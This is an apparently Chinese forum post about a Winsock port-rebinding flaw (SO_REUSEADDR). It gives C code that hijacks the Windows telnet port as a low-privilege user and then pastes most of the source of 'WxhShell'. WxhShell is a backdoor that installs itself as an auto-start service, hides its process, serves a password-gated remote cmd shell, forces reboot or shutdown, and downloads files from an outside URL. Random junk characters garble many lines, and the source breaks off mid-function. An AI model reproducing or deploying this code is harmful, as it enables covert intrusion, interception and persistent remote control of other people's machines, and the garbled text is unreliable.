在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7</&=lly s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T9\wkb. \X5{>nNh saddr.sin_family = AF_INET;
bo rt2k jQzq(oDQw saddr.sin_addr.s_addr = htonl(INADDR_ANY);
ua*k{0[ AoL4#.r3H bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
[Z|R-{" '$W@I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s)#FqB8 &IM;Yl 这意味着什么?意味着可以进行如下的攻击:
*D1^Se mc;Z#"kf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
-
*!R Tm5]M$) 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ozF>2`K
} bR6.Xdt.n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@Hj5ZJ
3 N;7Xt9l 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m5SJB]a/ 7.$0LN/a!Z 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pw*<tXH! d0~F|j\# 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
`3^*K/K\ nVV>;e[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
^4_)a0Kcm, Iodk1Y; #include
>6Y\CixN #include
O emi } #include
`:!mPNW# #include
ulV)X/]1 DWORD WINAPI ClientThread(LPVOID lpParam);
xz5 Jli int main()
.{x-A{l {
9l9nT WORD wVersionRequested;
Ub*Gv(Pg DWORD ret;
zE5%l`@|o WSADATA wsaData;
XeDiiI BOOL val;
Vu0jNKUV SOCKADDR_IN saddr;
Ro$'|}(+A SOCKADDR_IN scaddr;
4G0Er?D
int err;
=4uL1[0' SOCKET s;
*Hy-D</w% SOCKET sc;
tM]~^U int caddsize;
'9%72yG HANDLE mt;
U7O~ch[, DWORD tid;
Bs(\e^} wVersionRequested = MAKEWORD( 2, 2 );
$5ZBNGr err = WSAStartup( wVersionRequested, &wsaData );
6U6,Wu if ( err != 0 ) {
eWSA printf("error!WSAStartup failed!\n");
"l
vPge return -1;
S\K;h/;V }
}z1aKa9 saddr.sin_family = AF_INET;
.5'M^ 3JM0 m ( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
UVlD]oXKh 6= s!~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#z_lBg. K saddr.sin_port = htons(23);
>&3M
#s(w if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JsI`# {
m07=
_4 printf("error!socket failed!\n");
yKF"\^`@ return -1;
X&fM36o7 }
Z`<S_PPz val = TRUE;
wl H6 //SO_REUSEADDR选项就是可以实现端口重绑定的
z[X>>P3<n if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
$L_-U~^ {
p'fq&a+ printf("error!setsockopt failed!\n");
M_*"g>Z return -1;
ec+&K?T }
A >< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
u8L%R[#o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
P2pdXNV //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
hRTw8-wy: w%R(*,r6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B-PN +P2 {
-/rP0h5# ret=GetLastError();
{J;[
Hf5 printf("error!bind failed!\n");
x9q?^\x return -1;
@S\!wjl]C }
Ya{$:90(4 listen(s,2);
H)z}6[` while(1)
4Ra {
LgXc}3 caddsize = sizeof(scaddr);
TeaP\a //接受连接请求
pA7& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
UIgs/ if(sc!=INVALID_SOCKET)
cO%-Av~P {
IHHL. gT mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
low
0@+Q if(mt==NULL)
>Lj0B%^EvM {
LdnHz# printf("Thread Creat Failed!\n");
=]jc{Y%o break;
K8M[xaI@ }
jsB%RvX }
vFm8 T58 7 CloseHandle(mt);
yXP+$oox9 }
]R[j]E. closesocket(s);
? cU9~= WSACleanup();
!m8MyZ}% return 0;
4FUY1p }
}-Q FMPXhG DWORD WINAPI ClientThread(LPVOID lpParam)
I^S
gWC {
0'q&7
MV SOCKET ss = (SOCKET)lpParam;
E{x<P0 ; SOCKET sc;
vYb.Ub+ unsigned char buf[4096];
D*.U? SOCKADDR_IN saddr;
1) 7n
( long num;
vOIK6- DWORD val;
4.Luy DWORD ret;
>dO1) //如果是隐藏端口应用的话,可以在此处加一些判断
R5OP=Q 8 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
}2c)UQD8 saddr.sin_family = AF_INET;
WjLy7& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
:"QR;O@ saddr.sin_port = htons(23);
F6XrJ?JM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7[=*#7}. {
Q(v*I&k printf("error!socket failed!\n");
W;%$7&+0 return -1;
D>tex/Of3 }
,5}%_ val = 100;
@p`*MWU if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
I!sh+e {
} )DE ret = GetLastError();
UF37|+"E return -1;
b7-M'-Km0_ }
u~b;m
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oA/[>\y {
IBfLb(I ret = GetLastError();
jlaU3qXL return -1;
96G8B62 }
][vm4UY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
v *'anw&Z {
C7PVJnY0 printf("error!socket connect failed!\n");
-_@zyF<G closesocket(sc);
iM
\3~3' closesocket(ss);
3XykIj1 return -1;
h&5bMW }
Hwb+@'o while(1)
1M@OBfB8 {
WXq=FZ- //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
FTu6%~M/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
&.W,Hh //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
>}~\*Y\8@ num = recv(ss,buf,4096,0);
!fX&i 6 if(num>0)
>-S? rXO send(sc,buf,num,0);
/wAx#[c[ else if(num==0)
v9*ugu[K9 break;
o,qq*}= num = recv(sc,buf,4096,0);
c_V^~hq if(num>0)
j8P qc] send(ss,buf,num,0);
H){}28dX else if(num==0)
<O<Kf:i&c1 break;
|h^[/ }
6ijL+5 closesocket(ss);
Z%&$_-yJ closesocket(sc);
sF. oZ> return 0 ;
"Y'MuV'x }
5;v_?M!UCK "Yp:{e .4CCR[Het ==========================================================
%<dvdIB TEJn;D<1I, 下边附上一个代码,,WXhSHELL
I1f4u6\*X }xx" ==========================================================
ujin+;1 /$[9-G? #include "stdafx.h"
3#\++h]QZ s+m3&(X #include <stdio.h>
7{z\^R^O #include <string.h>
@n|Mr/PAj #include <windows.h>
-G'U\EXT #include <winsock2.h>
UY5wef2sF #include <winsvc.h>
I8x,8}o>V #include <urlmon.h>
w]@H]>sHd jmORKX+) #pragma comment (lib, "Ws2_32.lib")
?T1vc #pragma comment (lib, "urlmon.lib")
MiK
-W gDN7ly]6M #define MAX_USER 100 // 最大客户端连接数
cMU"SO #define BUF_SOCK 200 // sock buffer
lwSZpS #define KEY_BUFF 255 // 输入 buffer
8(3nv[ V><,.p8 #define REBOOT 0 // 重启
@5RbMf{ #define SHUTDOWN 1 // 关机
-s3q(SH Wg5<@=x!G #define DEF_PORT 5000 // 监听端口
UWXl
c 02$d #define REG_LEN 16 // 注册表键长度
#zf,%IYF #define SVC_LEN 80 // NT服务名长度
I%|,KWM ~:krJ[= // 从dll定义API
qkbGM-H%U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
aRV.;S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
WWEZTFL:j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
8l.bT|#O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ApD`i+Y@ s'4O]k` // wxhshell配置信息
Vi m:: struct WSCFG {
L*6R5i> int ws_port; // 监听端口
w!%"b03q char ws_passstr[REG_LEN]; // 口令
0:iR=S int ws_autoins; // 安装标记, 1=yes 0=no
\: BixBU7 char ws_regname[REG_LEN]; // 注册表键名
!qu/m B char ws_svcname[REG_LEN]; // 服务名
u<['9U char ws_svcdisp[SVC_LEN]; // 服务显示名
""@kBY1C char ws_svcdesc[SVC_LEN]; // 服务描述信息
^j!2I&h1 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
B7QRG0 int ws_downexe; // 下载执行标记, 1=yes 0=no
f&L3M)T char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
c4f3Dr'xw char ws_filenam[SVC_LEN]; // 下载后保存的文件名
;x|7"lE gbrn'NT };
BHu%x|d ]?7q%7-e.a // default Wxhshell configuration
h/oC9?v struct WSCFG wscfg={DEF_PORT,
<GWzdj? "xuhuanlingzhe",
n\i~H 1,
v]GQb "Wxhshell",
1 2VSzIm "Wxhshell",
EJW}&e/ "WxhShell Service",
4{QD: D(D "Wrsky Windows CmdShell Service",
9u;/l#?@T "Please Input Your Password: ",
aizJ&7(> 1,
,W| cyQ "
http://www.wrsky.com/wxhshell.exe",
$L4h'(s "Wxhshell.exe"
rT|wZz9$@ };
gF>t+"+x im3BQIPR // 消息定义模块
Pihpo char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J# DN2y< char *msg_ws_prompt="\n\r? for help\n\r#>";
GU|(m~,` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
H?_wsh4J char *msg_ws_ext="\n\rExit.";
#|"M char *msg_ws_end="\n\rQuit.";
(zX75QSKV char *msg_ws_boot="\n\rReboot...";
t-i\gq^ char *msg_ws_poff="\n\rShutdown...";
gX|We}H char *msg_ws_down="\n\rSave to ";
NmA6L+ Ya&\ b 6 char *msg_ws_err="\n\rErr!";
ffQm"s:P char *msg_ws_ok="\n\rOK!";
5{xK&[wR* #9glGPR( char ExeFile[MAX_PATH];
+-!2nk`"a int nUser = 0;
._q}lWT HANDLE handles[MAX_USER];
h e[2, int OsIsNt;
onU\[VvM l4>c SERVICE_STATUS serviceStatus;
6)veuA3] SERVICE_STATUS_HANDLE hServiceStatusHandle;
1)#dgsa b~*CJ8Ad // 函数声明
hb<cynY int Install(void);
$x*(D|\'< int Uninstall(void);
?[=OQ/E int DownloadFile(char *sURL, SOCKET wsh);
X7rsO^}W int Boot(int flag);
Jr=XVQ(F void HideProc(void);
U1W8f|u int GetOsVer(void);
:6qt[(<" int Wxhshell(SOCKET wsl);
]
T<#bNK\1 void TalkWithClient(void *cs);
|va^lT int CmdShell(SOCKET sock);
7Bym? int StartFromService(void);
6~-,.{Y int StartWxhshell(LPSTR lpCmdLine);
5.LfN{gE) +1]A$|qyW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lhPxMMS`j VOID WINAPI NTServiceHandler( DWORD fdwControl );
+!K*FU=). u}.mJDL // 数据结构和表定义
d2?#&d'aq SERVICE_TABLE_ENTRY DispatchTable[] =
xErAs}| {
YrsE
88QqI {wscfg.ws_svcname, NTServiceMain},
Pj1 k?7 {NULL, NULL}
F_Gc_eT };
P]O=K &I:ZJuQ4 // 自我安装
OtbPrF5 int Install(void)
Ig<# {V {
CK#i 6!~r char svExeFile[MAX_PATH];
NX5$x/uz HKEY key;
[a_o3 strcpy(svExeFile,ExeFile);
eQwvp`@" $)eS Gslz // 如果是win9x系统,修改注册表设为自启动
@*roW{?! if(!OsIsNt) {
-\7_^8 am if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
1ozb
tn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#5=W[+4eN RegCloseKey(key);
Q- 7L,2TL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i<(~J4}b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NwVhJdo RegCloseKey(key);
F!fsW9 return 0;
BV6B:=E0 }
6!se,SCvw }
-ykD/ }
=ea.+ else {
L&d.&,CNs' <Uc // 如果是NT以上系统,安装为系统服务
?./%7v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|\>Ifv%{ if (schSCManager!=0)
pekNBq
Wm {
?AH B\S SC_HANDLE schService = CreateService
eM@xs<BR (
91-[[< schSCManager,
tAPf#7{|
wscfg.ws_svcname,
!;4Hh)2 wscfg.ws_svcdisp,
fRT4>So SERVICE_ALL_ACCESS,
mL-6+pJ@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
pfs]pDjS: SERVICE_AUTO_START,
mGa :~x SERVICE_ERROR_NORMAL,
\XO'7bNu- svExeFile,
&;sW4jnt NULL,
aU@1j;se@ NULL,
E
$P?%<o NULL,
]V)*WP#a NULL,
\8g=
Ix NULL
eL<jA9cJ9 );
]57yorc` if (schService!=0)
p:)=i"uL {
"jLC!h^N CloseServiceHandle(schService);
dai+" CloseServiceHandle(schSCManager);
yzMGZi`ut strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i{16&4 ' strcat(svExeFile,wscfg.ws_svcname);
UmArl)R/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Cg|\UKfy$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LIrebz RegCloseKey(key);
06M?ecN return 0;
|MOz>1<a }
ddN G: }
:>/6:c?atG CloseServiceHandle(schSCManager);
-L<FVB }
-$X4RS }
f-634KuP >FKwFwT4D return 1;
80`$F{xcX }
$}'(%\7" Zu<S<??Jf // 自我卸载
$ai;8)C6 int Uninstall(void)
d"n"A?nXh {
0yvp>{;p HKEY key;
CB
X}_]9X 1+Uem if(!OsIsNt) {
!!ma]pB, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*Hi}FI RegDeleteValue(key,wscfg.ws_regname);
Bnk' RegCloseKey(key);
>t<\zC|~w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6`vW4]zu RegDeleteValue(key,wscfg.ws_regname);
m;A[2 6X RegCloseKey(key);
3Fxr= return 0;
E N CWOj }
T--%UZD]W }
awI{%u_(nA }
CUHT5J*sY else {
bdY:-8!3 nt+OaXe5D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(,tu7u{ if (schSCManager!=0)
m=+x9gL2 {
3<xDxj0< SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
qGX#(,E9; if (schService!=0)
+jK-k_ {
IibYG F if(DeleteService(schService)!=0) {
H
cyoNY CloseServiceHandle(schService);
gWoUE7.3` CloseServiceHandle(schSCManager);
~
rQ,%dH return 0;
]31=8+D }
Y9>92#aME CloseServiceHandle(schService);
!%D';wQ,/ }
! nvg:$.& CloseServiceHandle(schSCManager);
x}nBUq: }
3kk^hvB+f }
15q^&l[Q Ibu9AwPm return 1;
{~uTi>U }
D,R',(3 b$%Kv( // 从指定url下载文件
E4>}O;m0 int DownloadFile(char *sURL, SOCKET wsh)
qv}ECQ {
&oq0XV.M^ HRESULT hr;
><Zu+HX char seps[]= "/";
RGs7Hc char *token;
8e3eQ char *file;
K!.t}s.t char myURL[MAX_PATH];
E>f{j:M char myFILE[MAX_PATH];
l)dE7$H G}^=(,jl strcpy(myURL,sURL);
P"l'? ` token=strtok(myURL,seps);
5OtdB'UITd while(token!=NULL)
# =tw
,S {
)5LT!14 file=token;
6_])(F3+w. token=strtok(NULL,seps);
y(MB_B7j }
N%xCyZ [U8/nT GetCurrentDirectory(MAX_PATH,myFILE);
-egnMc67 strcat(myFILE, "\\");
DyCzRkH strcat(myFILE, file);
R y#C#0 send(wsh,myFILE,strlen(myFILE),0);
,z>-_HOnw send(wsh,"...",3,0);
ZQ+DAX*MS
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
:i4(cap&}F if(hr==S_OK)
-{ 1P`&G return 0;
IsE3-X| else
kY'Wf`y( return 1;
*d;TpwUI vdAd@Z~\ }
Z\EA!Cs3 8cG`We8l& // 系统电源模块
q(:L8nKT] int Boot(int flag)
\U]K!K= {
1(dKb HANDLE hToken;
LUId<We TOKEN_PRIVILEGES tkp;
[}j a\!P +:-xV if(OsIsNt) {
)J> dGIb OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1 =C12 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
2/folTR7 tkp.PrivilegeCount = 1;
U|x Hy+N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D|*w6p("z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
L;u 5 if(flag==REBOOT) {
Wp8>Gfb2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|[Fb&x return 0;
hN6wp_ }
Vjv6d&Q else {
`Ucj_6&Tqs if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
D@gC(&U/6 return 0;
k|?[EWIi^ }
3&7? eO7* }
VGD~) z57 else {
*oz#YGNm if(flag==REBOOT) {
2#R$-*;# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
a-Y6ghs return 0;
un_NBv} }
|
U"fhG=g else {
EI6kBRMo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
su%-b\8K return 0;
GI/NouaNfm }
,++HiYOG}e }
8R!-,I"$ 0VtjVz*C7& return 1;
Q|h$D~ }
Cm)TFh6 n19A>,m // win9x进程隐藏模块
GHd1?$ void HideProc(void)
{+hABusq {
.=J- !{z ocW~I3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
XV]xym~ if ( hKernel != NULL )
8+}rm6Y+ {
<3BGW?=WP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
l3>e-kP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
XZARy:+bc FreeLibrary(hKernel);
bRy(` }
q%])dZ!lE UTKyPCfj return;
zHZfp_I }
[znN'Fg:" c, .@Cc2 // 获取操作系统版本
G6zFQ\&f int GetOsVer(void)
^C~Ryw7 {
U@y)x+: OSVERSIONINFO winfo;
+5*bU1}O winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
fEXFnQ# GetVersionEx(&winfo);
\ opM}qZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
e[u}Vf return 1;
bKM*4M=k else
>"bW' return 0;
iSezrN }
d;Y Kw1 Slg*[r# // 客户端句柄模块
n({%|O<| int Wxhshell(SOCKET wsl)
F<g&t|@ {
6c-3+,Y"# SOCKET wsh;
?[zw5fUDS struct sockaddr_in client;
AF"7 _ DWORD myID;
InbB2l4G UzaAL9k while(nUser<MAX_USER)
XH~(=^/_ {
xH:L6K/c int nSize=sizeof(client);
j}//e%$a wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
~:7y!=8# if(wsh==INVALID_SOCKET) return 1;
R)JH D7
1 ub~ t} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
^.8~}TT-U if(handles[nUser]==0)
A1+:y,wXs closesocket(wsh);
A(E}2iP9= else
3{?X>6T nUser++;
s2SV
}
y4h
=e~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$rcv@-l ;K\2/"$QD return 0;
}WIkNG4{Z }
E,.PT^au uM1$3< // 关闭 socket
SXqB<j$.; void CloseIt(SOCKET wsh)
/i>n1>~yn {
]-X6Cl closesocket(wsh);
CdRJ@Lf nUser--;
?s$d("~ ExitThread(0);
GxD`M2 }
#;ObugY, [%bGs1U // 客户端请求句柄
OgIRI8L void TalkWithClient(void *cs)
GD.Ss9_h1 {
}Mt)57rU 0)d='3S SOCKET wsh=(SOCKET)cs;
G7" (,L` 5 char pwd[SVC_LEN];
stajTN*J char cmd[KEY_BUFF];
N? Jy char chr[1];
3#t#NW*e int i,j;
s,#We} bv 9zqo!& while (nUser < MAX_USER) {
v[ML=pL 4Z%1eOR9V if(wscfg.ws_passstr) {
<L4$f(2 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3S+9LOrhY //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PF/K&&9} //ZeroMemory(pwd,KEY_BUFF);
#)~u
YQ i=0;
63l&
ihj while(i<SVC_LEN) {
f4P({V ^zV_vB)n // 设置超时
C\5G43` fd_set FdRead;
!hq*WtIk struct timeval TimeOut;
bVU4H$k FD_ZERO(&FdRead);
D#1R$4M= FD_SET(wsh,&FdRead);
]m1p<*0I$ TimeOut.tv_sec=8;
SgxrU&:: TimeOut.tv_usec=0;
i%.NP;Qq]M int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
njxLeDe- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
aBReIK o ?H PAX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
q( ~rk pwd
=chr[0]; :5&D6
if(chr[0]==0xd || chr[0]==0xa) { xD&n'M]
pwd=0; ;G8H'gM07
break; .o`Io[io
} RVm-0[m}
i++; o 7kg.w|
} hJ xL|5Uo
MwRLv,&"
// 如果是非法用户,关闭 socket *h0D,O"0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RN-gZ{AW
} .8s-)I
f#:3TJV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %f&Y=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HBe*wk Pd
uT,i&
while(1) { [5L?#Y
1-E6ACq
ZeroMemory(cmd,KEY_BUFF); i,ZEUdd*_
2k<#e2
// 自动支持客户端 telnet标准 7OmT^jV2
j=0; ds!nl1
while(j<KEY_BUFF) { B;N<{Gb
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j36YIz$a
cmd[j]=chr[0]; Z}!'fX."
if(chr[0]==0xa || chr[0]==0xd) { x @q.u3o9
cmd[j]=0; ZS=H1
break; ;GG,Z#\m
} c|.te]!ds
j++; rmA?Xlh\
} d*{Cv2A.
l,h`YIy
// 下载文件 W>a}g[Ad
if(strstr(cmd,"http://")) { YRVh[Bqg`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qI7KWUR
if(DownloadFile(cmd,wsh)) j
H2)8~P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3-j2`#
else s9sl*1n1m`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2LUsqL\m}.
} N2s"$Ttq
else { }UsH#!9.
AVDhgJv
switch(cmd[0]) { M^oL.'
xP'0a
// 帮助 Ty&1R?
case '?': { hT-^1:N
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _Sd^/jGpU
break; ben-<3r
} |OCiq|#
// 安装 f> Jj5he/
case 'i': { Rs"=o>Qu
if(Install()) h# 4n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {rMf/ RAE
else 36OQHv;&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SeXgBbGAne
break; 9Zl4NV&B
} z9IW&f~~P
// 卸载 u]NsCHKlT
case 'r': { c>D~MCNxg
if(Uninstall()) u=InE|SH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&J>a8B$
else kl:/PM^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ywhhs
}f
break; u|}\Af
} u~uz=Yse
// 显示 wxhshell 所在路径 L @T/4e./
case 'p': { Kt*b)
<
char svExeFile[MAX_PATH]; :'wxm3f
strcpy(svExeFile,"\n\r"); H6`k%O*
strcat(svExeFile,ExeFile); ]pe7I
P
send(wsh,svExeFile,strlen(svExeFile),0); wnd
#J `
break; @>46.V{P}B
} 6w &<j&V
// 重启 x`7Le&4f
case 'b': { K>.}>)0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MV$E_@pg
if(Boot(REBOOT)) :a)RMp+^0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W'@G5e
else { H.l0kBeG
closesocket(wsh); Q +l{> sL
ExitThread(0); W[J2>`k9
} 0-uj0"r`
break; aB~k8]q.
} m,+PYq
// 关机 =I'iD0eR
case 'd': { I>.pkf<V
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Td|,3
n
if(Boot(SHUTDOWN)) BEb?jRMjLg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xxh^4vKjX
else { 2H$](k?
closesocket(wsh); ru`7iqcz
ExitThread(0); UNb7WN
} T U_'1
break; 0cB]:*W
} WDxcV%
// 获取shell yWZ_
case 's': { kXhd]7ru
CmdShell(wsh); `TO Xktj
closesocket(wsh); 'Y2$9qy-L
ExitThread(0); XHJdynt/
break; gKTCfD~
} e}2?)B`[
// 退出 E7h@Y~bNhW
case 'x': { N:3=G`Ws
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Pn^:cr|
CloseIt(wsh); [p'2#Et
break; 51eZf JB
} U>!TM##1QD
// 离开 k8ILo)
case 'q': { 4S4MQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Nk-xnTZ"
closesocket(wsh); STu(I\9
WSACleanup(); JzywSQ
exit(1); }*!L~B!
break; <FkaH8,7
} n5~Dxk
} PYi<iSr
} ,s%+vD$O^
RvA "ug.*
// 提示信息 phb
;D
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )OQm,5F1
} Oi|cTZ@A-
} 5w>TCx
h/C{
return; AUF[hzA
} do^=Oq07$
/z^v%l
// shell模块句柄 th*!EFA^o
int CmdShell(SOCKET sock) >,zU=I?9Y
{ $Xo_8SX,
STARTUPINFO si; FP{=b/
ZeroMemory(&si,sizeof(si)); MbYgGE,LA
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AiR#:r
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?@x$ h
PROCESS_INFORMATION ProcessInfo; 81#x/&E]
char cmdline[]="cmd"; ,O.iOT0=;
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); > Q=e9L=
return 0; u=@zYA(
} hH>a{7V
#QlxEs#%
// 自身启动模式 6E_~8oEl
int StartFromService(void) ]+pE1-p\
{ Rh~j -;
typedef struct F6CuY$0m=
{ _0naqa!JyH
DWORD ExitStatus; aC9iNm8w
DWORD PebBaseAddress; *cFGDQ!
DWORD AffinityMask; P)y2'JKL
DWORD BasePriority; }duqX R
ULONG UniqueProcessId; arKf9`9
ULONG InheritedFromUniqueProcessId; M3KK^YRN
} PROCESS_BASIC_INFORMATION; -+qg
BuM#&]s
